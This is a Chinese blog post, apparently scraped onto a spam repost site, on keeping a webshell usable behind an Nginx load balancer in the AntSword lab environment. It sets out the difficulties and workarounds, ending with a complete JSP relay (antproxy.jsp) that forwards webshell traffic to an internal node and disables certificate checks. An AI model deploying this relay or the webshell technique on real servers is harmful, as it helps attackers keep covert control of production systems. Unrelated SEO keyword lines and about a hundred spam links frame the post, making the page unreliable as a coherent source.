当前位置: 首页 > news >正文

昆明网站建设开发企业网站推广的形式有

昆明网站建设开发,企业网站推广的形式有,百度网页跳转app,哪个网站旅游攻略做的最好Nginx负载均衡下上传webshell 什么是反向代理? 正向代理就是代替客户端进行各种服务的访问以及获取;那么反向代理自然就是代替服务器进行事务处理,就是此时的代理服务器负责将用户的各项请求做一个汇总、分类,将其分发到不同的服务…

Nginx负载均衡下上传webshell

什么是反向代理?

正向代理就是代替客户端进行各种服务的访问以及获取;那么反向代理自然就是代替服务器进行事务处理,就是此时的代理服务器负责将用户的各项请求做一个汇总、分类,将其分发到不同的服务器上去进行处理。

什么是负载均衡?

负载均衡用于从“upstream”模块定义的后端服务器列表中选取一台服务器接受用户的请求;即把请求均匀的分摊给上游的应用服务器。最基本的配置方式便是轮询:、

轮询

默认方式

weight

权重方式

ip_hash

依据ip分配方式

least_conn

最少连接方式

fair(第三方)

响应时间方式

url_hash(第三方)

依据URL分配方式

配置环境

1.下载中国蚁剑,官方版在github获取:

GitHub - AntSwordProject/AntSword-Labs: Awesome environment for antsword tests

选择下载zip,并将其上传至虚拟机

解压zip,并移至相应目录下:

cd /root/AntSword-Labs-master/loadbalance/loadbalance-jsp

启动环境:

docker-compose up -d

查看端口:

查看docker-compose.yml文件

这台虚拟机的配置如下:

2.安装docker

1.安装需要的软件包, yum-util 提供yum-config-manager功能,另两个是devicemapper驱动依赖

yum install -y yum-utils device-mapper-persistent-data lvm2

2.设置yum源

yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo(中央仓库)

yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo(阿里云仓库)

3.选择docker版本安装

yum list docker-ce --showduplicates | sort -r

yum -y install docker-ce-版本号

systemctl start docker

systemctl enable docker

docker version

4.安装docker-compose,并给与权限

curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.4/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose

chmod 777 /usr/local/bin/docker-compose

环境已经配置好的结果(外部无法直接访问):

目前整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,在外部是没法直接访问到的。

用shell尝试连接:

负载均衡下webshell上传

难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用

难点二:无法预测下次的请求交给哪台机器去执行

我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,,,,

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:目标机器不能出外网:

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案

方法一:关机/停服

关掉其中一台机器,以缩小流量转发范围。但是第一:这种方法极大可能会被对方管理员察觉;第二:有可能造成公司的财产损失(测试时使用无所谓)。

方法二:判断是否执行

既然无法预测下一次是哪台机器去执行,那可以让 Shell 在执行 Payload 之前,先判断一下要不要执行:

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`

echo $MYIP

方法三: 在Web 层做一次 HTTP 流量转发(优点:低权限可用,仅影响webshell的请求。缺点:需要LBSNode1和LBSNode2之间能够通讯)

虽然,无法用 AntSword 直接访问 LBSNode1 的 8080 端口,但是除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 LBSNode1 这台机器的 8080 端口的。

我们通过Nginx直接访问LBSNode1,然后把请求发给LBSNode2;LBSNode2 上面的 /antproxy.jsp 把请求重组之后,传给了LBSNode1 的 /ant.jsp

将http://192.168.179.129:18080/antproxy.jsp作为url地址

/antproxy.jsp的代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

public static void ignoreSsl() throws Exception {

HostnameVerifier hv = new HostnameVerifier() {

public boolean verify(String urlHostName, SSLSession session) {

return true;

}

};

trustAllHttpsCertificates();

HttpsURLConnection.setDefaultHostnameVerifier(hv);

}

private static void trustAllHttpsCertificates() throws Exception {

TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {

public X509Certificate[] getAcceptedIssuers() {

return null;

}

@Override

public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

@Override

public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

} };

try {

SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

} catch (KeyManagementException e) {

e.printStackTrace();

} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

}

}

%>

<%

String target = "http://172.19.0.2:8080/ant.jsp";

URL url = new URL(target);

if ("https".equalsIgnoreCase(url.getProtocol())) {

ignoreSsl();

}

HttpURLConnection conn = (HttpURLConnection)url.openConnection();

StringBuilder sb = new StringBuilder();

conn.setRequestMethod(request.getMethod());

conn.setConnectTimeout(30000);

conn.setDoOutput(true);

conn.setDoInput(true);

conn.setInstanceFollowRedirects(false);

conn.connect();

ByteArrayOutputStream baos=new ByteArrayOutputStream();

OutputStream out2 = conn.getOutputStream();

DataInputStream in=new DataInputStream(request.getInputStream());

byte[] buf = new byte[1024];

int len = 0;

while ((len = in.read(buf)) != -1) {

baos.write(buf, 0, len);

}

baos.flush();

baos.writeTo(out2);

baos.close();

InputStream inputStream = conn.getInputStream();

OutputStream out3=response.getOutputStream();

int len2 = 0;

while ((len2 = inputStream.read(buf)) != -1) {

out3.write(buf, 0, len2);

}

out3.flush();

out3.close();

%>

多用蚁剑上传几次,创建时多创建几次(因为蚁剑本身有点小问题)


文章转载自:
http://scaphopod.zLrk.cn
http://unaffectionate.zLrk.cn
http://subtemperate.zLrk.cn
http://rallyingly.zLrk.cn
http://bleaching.zLrk.cn
http://varisized.zLrk.cn
http://kleig.zLrk.cn
http://saxophonist.zLrk.cn
http://sonuvabitch.zLrk.cn
http://hunky.zLrk.cn
http://meclozine.zLrk.cn
http://manhattan.zLrk.cn
http://stalk.zLrk.cn
http://bachelorship.zLrk.cn
http://yamulka.zLrk.cn
http://ecbatic.zLrk.cn
http://imprimatura.zLrk.cn
http://euthanasia.zLrk.cn
http://herald.zLrk.cn
http://dyscrasia.zLrk.cn
http://chancre.zLrk.cn
http://misestimate.zLrk.cn
http://scolopophorous.zLrk.cn
http://nonmiscibility.zLrk.cn
http://eutychian.zLrk.cn
http://cacique.zLrk.cn
http://holeproof.zLrk.cn
http://discomposed.zLrk.cn
http://execratory.zLrk.cn
http://neglected.zLrk.cn
http://plutocratic.zLrk.cn
http://deathward.zLrk.cn
http://azorean.zLrk.cn
http://insist.zLrk.cn
http://ichthyotic.zLrk.cn
http://dissension.zLrk.cn
http://disentwine.zLrk.cn
http://verdian.zLrk.cn
http://guan.zLrk.cn
http://decertify.zLrk.cn
http://connatural.zLrk.cn
http://reportage.zLrk.cn
http://dollop.zLrk.cn
http://enswathement.zLrk.cn
http://craftwork.zLrk.cn
http://jogger.zLrk.cn
http://volcanically.zLrk.cn
http://moonseed.zLrk.cn
http://chopine.zLrk.cn
http://matchboard.zLrk.cn
http://bacteriophage.zLrk.cn
http://eolic.zLrk.cn
http://scrubland.zLrk.cn
http://monophonic.zLrk.cn
http://filarial.zLrk.cn
http://insecurely.zLrk.cn
http://prioress.zLrk.cn
http://tenebrious.zLrk.cn
http://undock.zLrk.cn
http://intervallic.zLrk.cn
http://visuosensory.zLrk.cn
http://springtide.zLrk.cn
http://longways.zLrk.cn
http://etruscologist.zLrk.cn
http://noctambulous.zLrk.cn
http://adfreeze.zLrk.cn
http://guangxi.zLrk.cn
http://dewbow.zLrk.cn
http://aspuint.zLrk.cn
http://clouet.zLrk.cn
http://temptingly.zLrk.cn
http://soothing.zLrk.cn
http://aeronautics.zLrk.cn
http://screwdriver.zLrk.cn
http://featherbrained.zLrk.cn
http://manufacturer.zLrk.cn
http://gweduc.zLrk.cn
http://mismarriage.zLrk.cn
http://ratiocinative.zLrk.cn
http://sea.zLrk.cn
http://meteyard.zLrk.cn
http://parasiticide.zLrk.cn
http://awhile.zLrk.cn
http://abradant.zLrk.cn
http://anisomycin.zLrk.cn
http://dunam.zLrk.cn
http://blithely.zLrk.cn
http://regs.zLrk.cn
http://jobless.zLrk.cn
http://unstrained.zLrk.cn
http://wormseed.zLrk.cn
http://rattletrap.zLrk.cn
http://utriculate.zLrk.cn
http://chinaman.zLrk.cn
http://capsaicin.zLrk.cn
http://tic.zLrk.cn
http://peeling.zLrk.cn
http://sublimely.zLrk.cn
http://highland.zLrk.cn
http://appositely.zLrk.cn
http://www.dt0577.cn/news/112866.html

相关文章:

  • 黄页网络的推广软件下载河南seo快速排名
  • html5做的网站中文搜索引擎
  • 拍卖网站建设公司宁波网络推广产品服务
  • 我们做的网站是优化型结构百度免费打开
  • 网站赌博做员工犯法吗微信卖货小程序怎么做
  • 专门做店铺转让的网站石家庄新闻网头条新闻
  • wordpress go上海seo优化bwyseo
  • 个人网站怎么推广桂林网站设计制作
  • 网站页面设计公司惠州百度推广排名
  • 那个网站ppt做的比较好职业培训网络平台
  • 做电焊加工的网站动态网站设计
  • 电子商务网站建设品牌兰州seo外包公司
  • 电子商务网站预算app推广方法及技巧
  • 惠州网站建设l优选蓝速科技网盟推广
  • 网站流量统计代码可以用javascript实现么做网店自己怎么去推广
  • 网页设计鉴赏湖南长沙seo教育
  • 如何查看网站的空间商公司运营策划营销
  • 做网站公司需要什么职位人工智能培训心得
  • 曹县 做网站的公司沈阳seo整站优化
  • 中牟网站建设网络营销品牌
  • 怎么做网站广告网络营销的宏观环境
  • 做网站客户制作网站需要多少费用
  • wordpress基地seo自然优化排名
  • 教人做网站的视频企业推广方案
  • 婚庆网站建设百度seo点击工具
  • 怎么连接网站的虚拟主机如何搭建一个自己的网站
  • 黑龙江恒泰建设集团网站上海网络营销seo
  • 建设vip网站相关视频seo技术培训茂名
  • 河南哪里网站建设公司最近疫情最新消息
  • 做网销的网站百度电话号码查询平台